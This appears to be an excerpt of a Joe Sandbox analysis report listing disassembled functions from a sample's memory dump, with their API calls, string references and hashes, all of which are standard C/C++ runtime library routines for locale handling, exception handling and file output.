GetACP.KERNEL32(?,?,?,?,?,?,0045CB0C,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00466F78
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0045CB0C,?,?,?,00000055,?,-00000050,?,?), ref: 00466FA3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00467106

Strings

utf8, xrefs: 00467075

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 1b239071fbe5d41f230da2aa44a6e602cf193d3b0a213d37430bdaf6a4f1dd45
Instruction ID: aedb80167745650f656434380b4ba6edeccc205238694255b191633b05df6840
Opcode Fuzzy Hash: 1b239071fbe5d41f230da2aa44a6e602cf193d3b0a213d37430bdaf6a4f1dd45
Instruction Fuzzy Hash: BB71F971604202AADB28AB75DC46BA773A8EF44708F11442FFA05D7282F77CED41876B

Function 00454E26 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00454E32
IsDebuggerPresent.KERNEL32 ref: 00454EFE
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00454F17
UnhandledExceptionFilter.KERNEL32(?), ref: 00454F21

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: fc4ec47090a7013cf66a775028d6e790e084ebe37fb3ad47fe50b3dad958f742
Instruction ID: 2633c34858779039dcbee10055d80fac8943377eb1bf4be7d228854da9f364e7
Opcode Fuzzy Hash: fc4ec47090a7013cf66a775028d6e790e084ebe37fb3ad47fe50b3dad958f742
Instruction Fuzzy Hash: A7312775D052189BDF20DFA5D949BCDBBB8BF08305F1041AAE80CAB251EB749A85CF49

Function 00464303 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbd9d945d9219ed60390f0a224a6f1f602a38186542e2a8b590fbb95aa56bcf0
Instruction ID: 3070f9557ae60098ef26df62b4536154273e7df02c8b7554a70fe08f64d2bc5e
Opcode Fuzzy Hash: dbd9d945d9219ed60390f0a224a6f1f602a38186542e2a8b590fbb95aa56bcf0
Instruction Fuzzy Hash: F141C9B5C0411DAFDF20DF69CC89AAABBB9EF85304F1442DEE418D3201EA359E858F54

Function 0045208C Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00452093
std::_Lockit::_Lockit.LIBCPMT ref: 0045209D
int.LIBCPMT ref: 004520B4

Part of subcall function 004525EC: std::_Lockit::_Lockit.LIBCPMT ref: 004525FD
Part of subcall function 004525EC: std::_Lockit::~_Lockit.LIBCPMT ref: 00452617

codecvt.LIBCPMT ref: 004520D7
std::_Facet_Register.LIBCPMT ref: 004520EE
std::_Lockit::~_Lockit.LIBCPMT ref: 0045210E
Concurrency::cancel_current_task.LIBCPMT ref: 0045211B

Strings

|,E, xrefs: 004520FB

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID: |,E
API String ID: 2133458128-2637010583
Opcode ID: 514960b8862c7fd782fa4d68f3da898137d7585b3a16624e3e9a391e261de632
Instruction ID: 027b942d64fd7e1ab56cf7a7f95d1955fee7058ca5ca0fdf5d21738433594c5c
Opcode Fuzzy Hash: 514960b8862c7fd782fa4d68f3da898137d7585b3a16624e3e9a391e261de632
Instruction Fuzzy Hash: 6C01C4319001199BCB05EB65CA156AE7B65AFC531AF14040FFC10AB283DFF89E09CB8D

Function 00452121 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00452128
std::_Lockit::_Lockit.LIBCPMT ref: 00452132
int.LIBCPMT ref: 00452149

Part of subcall function 004525EC: std::_Lockit::_Lockit.LIBCPMT ref: 004525FD
Part of subcall function 004525EC: std::_Lockit::~_Lockit.LIBCPMT ref: 00452617

ctype.LIBCPMT ref: 0045216C
std::_Facet_Register.LIBCPMT ref: 00452183
std::_Lockit::~_Lockit.LIBCPMT ref: 004521A3
Concurrency::cancel_current_task.LIBCPMT ref: 004521B0

Strings

|,E, xrefs: 00452190

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registerctype
String ID: |,E
API String ID: 2958136301-2637010583
Opcode ID: f083019252ccbad8f5b472ecae99323905c31ce168862b5c99f681330adda807
Instruction ID: a66554d359522e3d72130eac09761b4b358931ef6e3771ddc4118bec848e9b96
Opcode Fuzzy Hash: f083019252ccbad8f5b472ecae99323905c31ce168862b5c99f681330adda807
Instruction Fuzzy Hash: 1C01A131900115ABCB05EB65C9056AE7B65AF86316F14400FED10AB293DFB89E08CB8D

Function 00457C88 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00457DA7
___TypeMatch.LIBVCRUNTIME ref: 00457EB5
_UnwindNestedFrames.LIBCMT ref: 00458007
CallUnexpected.LIBVCRUNTIME ref: 00458022

Strings

csm, xrefs: 00457D32
csm, xrefs: 00457CC5
csm, xrefs: 00457DDE

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: c2d572813652cd854aff3952b3cc68fe3fff3156524f143f6b29b0a695757390
Instruction ID: c3686607e76db5187e9934fcc29fd3e2624664afe83a19eac1950f82c7bf4952
Opcode Fuzzy Hash: c2d572813652cd854aff3952b3cc68fe3fff3156524f143f6b29b0a695757390
Instruction Fuzzy Hash: C5B17B72804209EFCF25DF95E8819AEBBB5BF04316B14406BEC116B243D738DA59CB99

Function 004616EC Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 00461965

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: e2eff747b4e8e8ed7af74a35fd317d6caf5ccd26b1d4ff9a6bdfb1ac79ac6d75
Instruction ID: d599fa3d7c567824fdf32f09bd947b994c18a219e5489b27dcbd90f23cc5530a
Opcode Fuzzy Hash: e2eff747b4e8e8ed7af74a35fd317d6caf5ccd26b1d4ff9a6bdfb1ac79ac6d75
Instruction Fuzzy Hash: 3AB1F6B0E04245AFDB01DF99C850BBE7BB1BF45314F18415AF840973A2E7789D45CBAA

Function 00457720 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00457757
___except_validate_context_record.LIBVCRUNTIME ref: 0045775F
_ValidateLocalCookies.LIBCMT ref: 004577E8
__IsNonwritableInCurrentImage.LIBCMT ref: 00457813
_ValidateLocalCookies.LIBCMT ref: 00457868

Strings

|,E, xrefs: 0045782C
csm, xrefs: 004577FD

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$|,E
API String ID: 1170836740-3766833512
Opcode ID: c81e835724068e10ab36865e3d650022a289c436149df97e38cd85efe13c54cd
Instruction ID: 21ffd6932fd4ba08d2412dc4f2c0a5b430441621df8d34f9ec616c063bc405db
Opcode Fuzzy Hash: c81e835724068e10ab36865e3d650022a289c436149df97e38cd85efe13c54cd
Instruction Fuzzy Hash: 8741E934A042149BCF10DF69D844A9E7BB5BF49315F1480ABEC146B393D739E909CB99

Function 00469969 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00AD0650,00AD0650,?,7FFFFFFF,?,00469C39,00AD0650,00AD0650,?,00AD0650,?,?,?,?,00AD0650,?), ref: 00469A0F
__alloca_probe_16.LIBCMT ref: 00469ACA
__alloca_probe_16.LIBCMT ref: 00469B59
__freea.LIBCMT ref: 00469BA4
__freea.LIBCMT ref: 00469BAA
__freea.LIBCMT ref: 00469BE0
__freea.LIBCMT ref: 00469BE6
__freea.LIBCMT ref: 00469BF6

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 93e4867b3787de6dbeb0a8db3ee5ee16a8b6f4c25472653bb603e73c32041264
Instruction ID: 54ae9dc2500aedb972ddb36a91ef1ea756ff7c8781c7ae2e7337d3d85c0b1520
Opcode Fuzzy Hash: 93e4867b3787de6dbeb0a8db3ee5ee16a8b6f4c25472653bb603e73c32041264
Instruction Fuzzy Hash: E071D3729002456BDF209E949C82FAF77ADAF45714F28005BED04A7381FBBDDD05875A

Function 00454356 Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 0045439F
__alloca_probe_16.LIBCMT ref: 004543CB
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 0045440A
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00454427
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00454466
__alloca_probe_16.LIBCMT ref: 00454483
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004544C5
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 004544E8

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 0d272fd0afcda371521b12cb9e6211728478c95a7a38f502bcda67690e88fd6b
Instruction ID: d48d75857146ee2a6fad241fefe752b653d06eabe7aa406412dfe8d3770250a8
Opcode Fuzzy Hash: 0d272fd0afcda371521b12cb9e6211728478c95a7a38f502bcda67690e88fd6b
Instruction Fuzzy Hash: 3A51B572A00106BBDF208F61CC44FAF7BB9EB85759F15402AFD049A251E738DC59CB68

Function 00453C8B Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00453C92
std::_Lockit::_Lockit.LIBCPMT ref: 00453C9D
std::_Lockit::~_Lockit.LIBCPMT ref: 00453D0B

Part of subcall function 00453DEE: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00453E06

std::locale::_Setgloballocale.LIBCPMT ref: 00453CB8
_Yarn.LIBCPMT ref: 00453CCE

Strings

|,E, xrefs: 00453CDA, 00453CFE

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID: |,E
API String ID: 1088826258-2637010583
Opcode ID: e88be3d185ceb4c6147cb0178e1d477ba001416d703d2bf169337cb5d5fa00d5
Instruction ID: 6bae16aa0a27cfde00f457d79a0ef5f384662ec8fa5aa9e6ebf5ac3343195208
Opcode Fuzzy Hash: e88be3d185ceb4c6147cb0178e1d477ba001416d703d2bf169337cb5d5fa00d5
Instruction Fuzzy Hash: 06019E75A002109BC706EF21D84157D7B71BF82386B18401EEC015B382DB786E4ACB8E

Function 0045C1EF Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,FC3EAC19,?,?,00000000,0046B1C6,000000FF,?,0045C17F,?,?,0045C153,00000016), ref: 0045C224
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0045C236
FreeLibrary.KERNEL32(00000000,?,00000000,0046B1C6,000000FF,?,0045C17F,?,?,0045C153,00000016), ref: 0045C258

Strings

|,E, xrefs: 0045C247
CorExitProcess, xrefs: 0045C22E
mscoree.dll, xrefs: 0045C21D

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll$|,E
API String ID: 4061214504-3781865653
Opcode ID: 01995e6bd5ebedb7a255e25a069745ae40b2279d128429824ff434e1364da218
Instruction ID: 899975a8d75a5dd322a2de0e1c9370cfa802d169ff474efcf1ff5f240f566dc7
Opcode Fuzzy Hash: 01995e6bd5ebedb7a255e25a069745ae40b2279d128429824ff434e1364da218
Instruction Fuzzy Hash: 8001A771E04619BFCB118F94DC45BAEB7B8FB44B15F000536F811A2290EBB89904CA99

Function 0045791A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00457911,00455ABF,00454FD2), ref: 00457928
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00457936
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0045794F
SetLastError.KERNEL32(00000000,00457911,00455ABF,00454FD2), ref: 004579A1

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 2bf61edd34b150f94c35db35d7809654bb2dde44669da03c7c75fbd87ed70cfa
Instruction ID: e1b23571dc7b2a94b67e43e5429a9f173605aef98595c3beef293843330bdbb3
Opcode Fuzzy Hash: 2bf61edd34b150f94c35db35d7809654bb2dde44669da03c7c75fbd87ed70cfa
Instruction Fuzzy Hash: 5401F5B220D2111EB6202675BC45E2B2B49FB0137A720033FF914911F3FE5A5C0951BE

Function 00457A31 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00457AF8
___AdjustPointer.LIBCMT ref: 00457B1B
___AdjustPointer.LIBCMT ref: 00457BB7

Strings

|,E, xrefs: 00457A90

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID: |,E
API String ID: 1740715915-2637010583
Opcode ID: 27a11781794668767832ed9719780d785e8919e20b1115bd1d607ea30ac6f92b
Instruction ID: d5722d6cbf50990e6a8167c734c78f47093a20b6a7d8d8e6216c3de5f9069aef
Opcode Fuzzy Hash: 27a11781794668767832ed9719780d785e8919e20b1115bd1d607ea30ac6f92b
Instruction Fuzzy Hash: 7B51CE71A086029FDB248F11E885BBA77A5EB4031AF14453FED055B293E739AD48CB88

Function 0045232A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00452331
std::_Lockit::_Lockit.LIBCPMT ref: 0045233E
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0045237B

Part of subcall function 00453D89: _Yarn.LIBCPMT ref: 00453DA8
Part of subcall function 00453D89: _Yarn.LIBCPMT ref: 00453DCC

Strings

bad locale name, xrefs: 0045238C

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$H_prolog3Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 482894088-1405518554
Opcode ID: c59e7cefdbc4606d88ad96ad1e941a962ec3451a159a43885e1000177d6db04d
Instruction ID: c8b73a3f32a3425fff030222b4c85d498641f35f2647486ba0ad5e93b823c59c
Opcode Fuzzy Hash: c59e7cefdbc4606d88ad96ad1e941a962ec3451a159a43885e1000177d6db04d
Instruction Fuzzy Hash: DD01A1719017449FC7209FAA944014AFFE0BF19351B40896FE98DC7612D734DA48CB9D

Function 00458A62 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00458A13,00000000,?,004AAA14,?,?,?,00458BB6,00000004,InitializeCriticalSectionEx,0046EB88,InitializeCriticalSectionEx), ref: 00458A6F
GetLastError.KERNEL32(?,00458A13,00000000,?,004AAA14,?,?,?,00458BB6,00000004,InitializeCriticalSectionEx,0046EB88,InitializeCriticalSectionEx,00000000,?,0045896D), ref: 00458A79
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00458AA1

Strings

api-ms-, xrefs: 00458A86

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: dcee856ca35af1b7d27c4661515cebd36ea6bb81455881824c96c84151c1cc48
Instruction ID: f897ee7bf3d1deb7d04cadbf8927c650fdcc9ac2a96ab818c8c2b61f605ba9d2
Opcode Fuzzy Hash: dcee856ca35af1b7d27c4661515cebd36ea6bb81455881824c96c84151c1cc48
Instruction Fuzzy Hash: C2E01230B44208BBFF102B62DC06B593A95AB00B45F544036FD0DA85E3EFA5A915858D

Function 0045FC3E Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(FC3EAC19,00000000,00000000,00000000), ref: 0045FCA1

Part of subcall function 00463CA4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00462C36,?,00000000,-00000008), ref: 00463D50

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0045FEFC
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0045FF44
GetLastError.KERNEL32 ref: 0045FFE7

Memory Dump Source

